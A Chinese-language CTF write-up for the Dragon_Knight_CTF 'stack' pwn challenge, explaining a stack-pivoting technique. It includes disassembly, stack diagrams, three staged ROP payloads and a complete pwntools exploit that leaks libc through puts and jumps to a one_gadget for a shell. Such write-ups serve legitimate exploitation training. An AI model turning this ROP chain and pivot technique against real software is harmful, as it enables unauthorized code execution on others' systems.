Dragon_Knight_CTF-stack(栈迁移)
程序的保护情况如下,可以看到没有开启pie保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
可以看道main函数也很简洁,只有一个0x10大小的溢出,程序给了libc,版本是2.31的
nt __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
inits();
puts("Hello, CTFer, do you know how to stack pivoting?");
read(0, buf, 0x110uLL);
return 0;
}
思路分析
思路一:
可以看到返回地址是一个libc地址,我们只要将这个地址改成og地址就能拿到shell了,只不过这个比较看脸,1/4096的概率,理论上是可以拿到shell的,开多线程的话机会更大。但是对于我这种石头剪刀布都没有赢过别人的人,这种方法是行不通的。
思路二:
那就是栈迁移了,pwn最开始的栈迁移题目,一般是会给两次read机会的,第一次让我们往bss段上写rop,第二次只给0x10大小的溢出空间让我们进行栈迁移操作。
这道题只给了0x10大小的栈溢出空间,所以我们要想办法,创造多次写入的机会。
main函数的汇编:
.text:0000000000401176 ; __unwind {
.text:0000000000401176 endbr64
.text:000000000040117A push rbp
.text:000000000040117B mov rbp, rsp
.text:000000000040117E sub rsp, 100h
.text:0000000000401185 mov eax, 0
.text:000000000040118A call inits
.text:000000000040118F lea rdi, s ; "Hello, CTFer, do you know how to stack "...
.text:0000000000401196 call _puts
.text:000000000040119B lea rax, [rbp+buf]
.text:00000000004011A2 mov edx, 110h ; nbytes
.text:00000000004011A7 mov rsi, rax ; buf
.text:00000000004011AA mov edi, 0 ; fd
.text:00000000004011AF mov eax, 0
.text:00000000004011B4 call _read
.text:00000000004011B9 mov eax, 0
.text:00000000004011BE leave
.text:00000000004011BF retn
.text:00000000004011BF ; } // starts at 401176
.text:00000000004011BF main endp
可以看到0x040119B,这行汇编会将rbp+buf的地址传给rax,而0x04011A7又会将rax传给rsi,之后会执行read函数,而rsi正是read函数的第二个参数,也就是要写入内容的地址。
所以我们如果能控制了rbp,那么这里就相当于有一个任意写。
到这里思路就很明朗了,这里的任意写我们在bss段写上rop,然后会执行leave ret,完成栈转移。
第一次溢出:
magic = 0x0040119B #lea rax,[rbp+buf]
bss_buf = 0x0404a00
payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)
因为是页对齐,所以bss段其实是比较大的,bss段开始是0x404040,我这里设置bss_buf是0x40a00,这两者相差好几百字节。为什么要这么设置呢?因为假如在bss段执行rop,比如说执行read函数,在调用read函数的时候会向上申请栈,那么他可能会申请到不可读的空间,甚至会覆盖到got表,这样程序就直接carsh了,所以栈转移一般要设置在bss段后面一点,以防发生类似的错误。
这里首先就是将rbp设置成bss_buf+0x100,然后将会执行read(0,bss_buf,0x110)
,在执行read函数的时候其实还没进行栈转移,栈转移是在执行完read函数之后进行的。
第二次溢出:
payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
向bss_buf进行写rop,用puts函数来泄露libc基地址。
之后通过调整rbp的值,再次调用magic函数来获取任意写,这次要写入的地址其实是bss_buf+0x30。
第三次溢出:
payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
再次完成栈转移,将rip劫持到bss_buf+0x30去执行我们写入的pop_r12_r13_r14_r15,用pop_r12_r13_r14_r15来使og可用,拿到shell。
栈转移分析
为了方便理解,我画了一些栈图来帮助理解。
magic = 0x0040119B #lea rax,[rbp+buf]
bss_buf = 0x0404a00
payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)
在执行完read函数,溢出后此时的栈空间:
rsp--> | ||
... | ||
0x7ffcb8008b70 | aaaaaaaa | |
... | aaaaaaaa | |
0x7ffcb8008c58 | aaaaaaaa | |
0x7ffcb8008c60 | aaaaaaaa | |
0x7ffcb8008c68 | aaaaaaaa | |
rbp--> | 0x7ffcb8008c70 | 0x404b00 |
return_addr | 0x7ffcb8008c78 | magic |
执行main函数本身的leave ret后:
0x4049f8 | 0 | |
0x404a00 | 0 | |
0x404a08 | 0 | |
0x404a10 | 0 | |
0x404a18 | 0 | |
0x404a20 | 0 | |
0x404a28 | 0 | |
0x404a30 | 0 | |
... | 0 | |
rbp--> | 0x404b00 | 0 |
0x404b08 |
执行read(0,0x404a00,0x110)
payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
0x4049f8 | 0 | |
0x404a00 | pop_rdi | |
0x404a08 | puts_got | |
0x404a10 | puts | |
0x404a18 | pop_rbp | |
0x404a20 | 0x40b30 | |
0x404a28 | magic | |
0x404a30 | 0 | |
... | 0 | |
rbp--> | 0x404b00 | 0x4049f8 |
0x404b08 | leave_ret |
第一次溢出将返回地址覆盖为magic,执行完read后会带一个leave ret指令,执行完leave ret指令的栈图
rbp--> | 0x4049f8 | 0 |
0x404a00 | pop_rdi | |
0x404a08 | puts_got | |
0x404a10 | puts | |
0x404a18 | pop_rbp | |
0x404a20 | 0x40b30 | |
0x404a28 | magic | |
0x404a30 | aaaaaaaa | |
... | aaaaaaaa | |
0x404b00 | 0x4049f8 | |
rsp--> | 0x404b08 | leave_ret |
rsp指向leave ret,将会再次执行leave ret指令,执行完的栈图
0x4049f8 | 0 | |
rsp--> | 0x404a00 | pop_rdi |
0x404a08 | puts_got | |
0x404a10 | puts | |
0x404a18 | pop_rbp | |
0x404a20 | 0x40b30 | |
0x404a28 | magic | |
0x404a30 | aaaaaaaa | |
... | aaaaaaaa | |
rbp--> | 0x404b00 | 0x4049f8 |
0x404b08 | leave_ret |
puts(puts_got)
read(0,0x404a30,0x110)
payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
0x4049f8 | ||
0x404a00 | ||
0x404a08 | ||
0x404a10 | ||
0x404a18 | ||
0x404a20 | ||
rsp--> | 0x404a28 | |
0x404a30 | pop_r12_r13_r14_r15 | |
0x404a38 | 0 | |
0x404a40 | 0 | |
0x404a48 | 0 | |
0x404a50 | 0 | |
0x404a58 | shell | |
... | 0 | |
0x404b08 | 0 | |
0x404b10 | 0 | |
0x404b18 | 0 | |
0x404b20 | 0 | |
0x404b28 | 0 | |
rbp--> | 0x404b30 | 0x404a28 |
0x404b38 | leave_ret |
执行跳转到magic地址自带的leave ret
0x4049f8 | ||
0x404a00 | ||
0x404a08 | ||
0x404a10 | ||
0x404a18 | ||
0x404a20 | ||
rbp--> | 0x404a28 | |
0x404a30 | pop_r12_r13_r14_r15 | |
0x404a38 | 0 | |
0x404a40 | 0 | |
0x404a48 | 0 | |
0x404a50 | 0 | |
0x404a58 | shell | |
... | 0 | |
0x404b08 | 0 | |
0x404b10 | 0 | |
0x404b18 | 0 | |
0x404b20 | 0 | |
0x404b28 | 0 | |
0x404b30 | 0x404a28 | |
rsp--> | 0x404b38 | leave_ret |
rsp指向leave ret,将会再次执行leave ret指令,执行完的栈图
0x4049f8 | ||
0x404a00 | ||
0x404a08 | ||
0x404a10 | ||
0x404a18 | ||
0x404a20 | ||
0x404a28 | ||
rsp--> | 0x404a30 | pop_r12_r13_r14_r15 |
0x404a38 | 0 | |
0x404a40 | 0 | |
0x404a48 | 0 | |
0x404a50 | 0 | |
0x404a50 | shell | |
... | 0 | |
0x404b08 | 0 | |
0x404b10 | 0 | |
0x404b18 | 0 | |
0x404b20 | 0 | |
0x404b28 | 0 | |
0x404b30 | 0x404a28 | |
0x404b38 | leave_ret |
接下来执行pop_r12_r13_r14_r15,然后就拿到shell了。
exp
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
magic = 0x0040119B #lea rax,[rbp+buf]
pop_rdi = 0x00401210
puts_got = elf.got['puts']
puts = elf.plt['puts']
leave_ret = 0x004011BE
read = elf.plt['read']
pop_rbp = 0x0040115d
bss_buf = 0x0404a00
og = [0xe3afe,0xe3b01,0xe3b04]
payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)
payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-libc.symbols['puts']
print('libc_base-->'+hex(libc_base))
shell = libc_base+og[0]
pop_r12_r13_r14_r15 = 0x040127c
payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
p.interactive()
标签:p64,Knight,pop,stack,CTF,rbp,bss,buf,payload
From: https://www.cnblogs.com/xiaochange/p/18237958